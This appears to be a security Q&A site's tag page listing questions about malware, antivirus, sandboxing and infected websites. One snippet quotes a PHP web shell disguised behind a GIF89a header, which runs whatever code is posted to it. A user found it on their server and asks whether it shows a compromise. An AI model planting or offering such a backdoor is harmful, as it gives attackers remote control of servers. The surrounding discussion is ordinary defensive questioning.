Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

0
votes
2answers
22 views

Can malware provide hidden remote access to a user's desktop?

Is there a possibility that malware on a computer could be providing remote access to an external party without the computer user being aware? I.e., some kind of hidden active remote access tool? ...
4
votes
2answers
119 views

How do cryptographic algorithms help hackers to bypass Antivirus software?

I was wondering how do hackers use cryptography for bypassing antivirus software. I don't have some deep understanding on how antivirus software works, but I know that every antivirus has base of ...
2
votes
0answers
16 views

Cuckoo with pfSense [migrated]

I am trying to set up Cuckoo with pfSense, and it is either not getting the information from the Cuckoo server, or it is not correctly sending the info back to the result server. I am using a LAN ...
3
votes
2answers
65 views

How to sanitize archive files?

I am looking for a way to make sure that a particular archive file does not contain any sort of malicious code. From time to time new vulnerabilities pop up (e.g. gzip, 7zip) so I though a good idea ...
-1
votes
0answers
67 views

Is This A Run32dll.exe Virus [migrated]

I have two run32dll.exe processes, one in System32 and another in SysWOW64. Is one of them a virus or is it normal? Sometimes only one is there (SysWOW64) and this one uses 60-90 Mbs Of memory. ...
-2
votes
0answers
55 views

How to download malware binary samples from Virustotal? [closed]

Does anyone know how to get sample malware binaries from virustotal? If yes please tell.
1
vote
0answers
25 views

Open Source Software & Android Malware Campaigns [closed]

I am looking to find a report that lists malware campaigns launched against Open Source Software (OSS) and/or Android OS. Ideally, this report would have been published in 2014. I am trying to ...
1
vote
2answers
95 views

How effective is antivirus software? [duplicate]

On one hand, most antivirus websites claim their products are highly effective, and I've seen antivirus "test" videos claiming 95%+ detection rates for new malware (as in less than a day old, not old ...
0
votes
1answer
177 views

Zeus botnet source code

I am doing my project on botnets and wanted to understand the source code of the Zeus botnet. Where is the right place to get started with some analysis of zeus botnet source code? I need a good ...
0
votes
0answers
63 views

Adblock Plus blocking a lot of ads on webpages that don't even have ads? [migrated]

I was just checking my own website and noticed that Adblock Plus v1.9 blocked 13 ads on one of my pages and another 4 on one other. This is interesting to me because I have no ads on my site. I'm ...
0
votes
2answers
56 views

A malicious folder is created automatically?

After i ran a third party game and after uninstalling it , a problem is repeating , my antivirus is showing this message repeatieadly every 7-8 seconds. when i run the antivirus it shows the ...
0
votes
0answers
17 views

Security Data Analytics - Classical Measurements/Metrics

for my new Job I have to prepare information about how Security Data Analysis is actually use in practice. So my question is if someone can provide me with measurements/metrics/queries (don't really ...
5
votes
2answers
154 views

How can a font be used for privilege escalation?

Recently Kaspersky released an analysis of Duqu 2.0 and apparently the malware used a True Type Font File to exploit a critical vulnerability (CVE-2011-3402) to "jump directly into Kernel". I haven't ...
1
vote
3answers
89 views

How to get started as a Malware Analyst? [closed]

Sorry if this is posted in the wrong section. A little about me: I'm going to be a sophomore in the fall at university, my major is Computer Science (Information Assurance). I've been interested in ...
1
vote
2answers
71 views

Malware From from external drive

How do malware start from external drives? Especially on Windows (from > Windows 7) commands like Open=Example.exe on an autorun.inf file have been defaulted disabled to not allow auto run when an USB ...
0
votes
4answers
257 views

“Virus Found” Web Browser Pop-up

I use a website that typically creates a new tab with an ad on the first click. Usually, I can close the tab without even looking at it, but recently a more aggressive strain brings up a pop-up (for ...
-1
votes
0answers
64 views

Can installing a Virtual Machine help against existing threats?

I know if your VM gets infected you're offered (some) protection from threats moving to the underlying OS, but that made me wonder if that buffer could work both ways. For a specific example say a ...
5
votes
1answer
117 views

Video site requests Adblocker to be shut off, next day I have 3 “weird” bookmarks

I was on a site trying to view a video and the site requested that I turn off my adblocker to view the video. So I did and then the next day I noticed that I had 3 "weird" bookmarks in my bookmark ...
0
votes
0answers
34 views

Why malicious browser extensions along with API hooking

Most malware steals financial data by hooking to browser APIs like PR_Read, PR_write etc.. Also I see some malware like Sinowal use browser extensions along with these API hooks. I believe a user ...
0
votes
0answers
39 views

injecting javascript in webviews in Android

I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity. The webview in ...
2
votes
1answer
51 views

Hooking an *unexported* API

I want to know is there any way to hook (inline hook) an unexported API of a PE? I have this binary (PE 32 bit) which does not uses any DLL (A statically linked binary) and I would like to know what ...
0
votes
1answer
66 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
1
vote
0answers
31 views

How long does it typically take to distribute malware signatures?

Are there industry-wide measures that identify how long it typically takes to identify, develop and distribute new malware signatures? I want to understand how long organizations are typically ...
1
vote
0answers
37 views

Linux: Chinese Unionpay plugin, Ubuntu 64-bit - Spamware / Trojan?

China / Linux / Bank / Trojan / Backdoor / Executables Hey guys. I've got an account with a Chinese bank (I live here), and in the process of setting up an online account for the Chinese version of ...
0
votes
1answer
61 views

What items should be on a malware remediation checklist? [closed]

Edit: Let's assume Windows 7 and potentially Windows Server 2003/2008. IMHO, any machine that has malware should be reimaged/reformatted/OS reinstalled before it is deployed back into the ...
1
vote
1answer
63 views

Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
1
vote
6answers
4k views

Malware ad.adsmatte infection

My PC is infected with malware, whenever I open a webpage and click on it a new tab opens on "ad.adsmatte.com". I scanned my PC with Malwarebytes but was unable to resolve the problem. So I ...
26
votes
1answer
3k views

What is an n-day security attack?

There are several attacks types in computer security. For instance, zero-day attacks consist of attacks that use undisclosed exploits. In contrast, what is an n-day attack? Is it a security concern?
0
votes
2answers
71 views

can this be canceled [closed]

Limi1.com put up a malware alert on my computer, with an accompaining number to call. it stated for 29.97 it would be fixed. this was last night today I called my credit card, and was told a charge of ...
1
vote
2answers
53 views

Potential worm damage on a physically isolated Tor system

I'm setting up a physically isolated Tor system (with one computer serving as the workstation and another as a Tor gateway), and I'm concerned about methods a worm could use to infect my OS. In the ...
0
votes
1answer
44 views

Website Loading Content from Malicious Sites

I own a website. Now today I find that when I load the site, Chrome shows "waiting for xxx.com" and some other unknown sites. I never added content or links from these sites. The website is running on ...
1
vote
1answer
81 views

running botnet for analysis

I a very curious to understand botnets practically. I want to run a p2p botnet (storm or waledac) for analysis and learning. I have mainly two issues: Where can i get access to binaries of either ...
2
votes
0answers
85 views

Lowercase 'w' seen in C:\windows application paths from wmic services list

In reviewing several Windows 7 computers built from the same image (using wmic services command), I'm seeing most all the Window services paths displayed as C:\windows not C:\Windows. The 'w' is ...
6
votes
3answers
278 views

Risk of spyware on seized devices

This question (Prevention measures against laptop seizure at US borders) addresses a number of techniques for securing data while crossing borders. Perhaps the most useful advice was to simply not ...
2
votes
1answer
59 views

Is drag-and-drop safer than using the clipboard when it comes to protecting sensitive data from keyloggers?

I noticed that multiple password-locker applications recommend that you use the drag-and-drop feature to transfer passwords to login forms instead of copying the passwords to the clipboard or having ...
0
votes
3answers
123 views

Is my LAN infected?

I don't know if this is the right place for this question but here it goes... When I access websites that have Google ads included with a device (pc, tablet, laptop) connected to my LAN, these ads ...
0
votes
2answers
252 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
2
votes
2answers
71 views

What will happen to my Windows PC if I visit a site from a network marked as malicious by google safebrowsing [closed]

Google rated a whole network in china as malicious: http://www.google.com/safebrowsing/diagnostic?site=AS:4134 Quite a few of our customers have their websites hosted in that network (e.g. ...
2
votes
2answers
155 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
6
votes
1answer
964 views

How can one create one's own anti-virus scan server at home? [closed]

I suppose that every one used a service such as virustotal.com, anubis.iseclab.org, or any other service that could provide the same objective to scan same files. So my question is how can I make ...
2
votes
4answers
278 views

Can any dangerous file(Virus, Trojan, Malware, etc) cause harm inside a zip or rar?

I am using Windows 8.1 pro with Mozilla Thunderbird for my email requirements. I have my Thunderbird set to auto download all email attachments, however upon runnning a Virus scan I am seeing many ...
1
vote
2answers
122 views

How can I detect unencrypted self-executing code in JPEG images?

Assuming that I have an infected image containing a self-executing malicious code that targets my image viewer and executes when I open the file. Supposing also that my computer is completely clean ...
1
vote
2answers
126 views

Malicious self-executing code can only exist in EXIF data in JPEG images?

Let's say we got an infected JPEG image that just by viewing it can automatically execute the malicious code stored inside it. It can do this either by taking advantage of the image viewer's security ...
-1
votes
1answer
99 views

Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
1
vote
4answers
257 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
1
vote
2answers
146 views

Protecting the BIOS from malware [closed]

The BIOS operates at a lower level than the OS, so antivirus software cannot scan it. Is there any other security software that we should use to protect the BIOS?
1
vote
3answers
75 views

Methods to have multiple Anti Virus installed on one machine

I am running Windows 8.1 Pro, Ideally I would like to have the top 5 Anti Virus installed but I am aware it is not advised as they can clash with each other. I was wondering if there is a favoured ...
0
votes
0answers
35 views

Is it possible to lock guest VMs (or processes) to sticks of physical RAM to prevent row hammer attacks?

I was wondering if it is possible through some means to isolate processes (or preferably guest VMs) to physical sticks of RAM. This would be to prevent row hammer like attacks from using physical ...
18
votes
5answers
3k views

The Perfect Mousetrap - Can a sandbox system be designed such that it's identical to an actual computer? [duplicate]

In testing suspicious files for malware, the typical method is to search for known malicious code. This is why zero-day malware attacks can be so dangerous — their malicious code is previously unknown ...
12
votes
2answers
3k views

Sites being redirected to adult site in all devices [closed]

From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error. First guess is obviously that my system is ...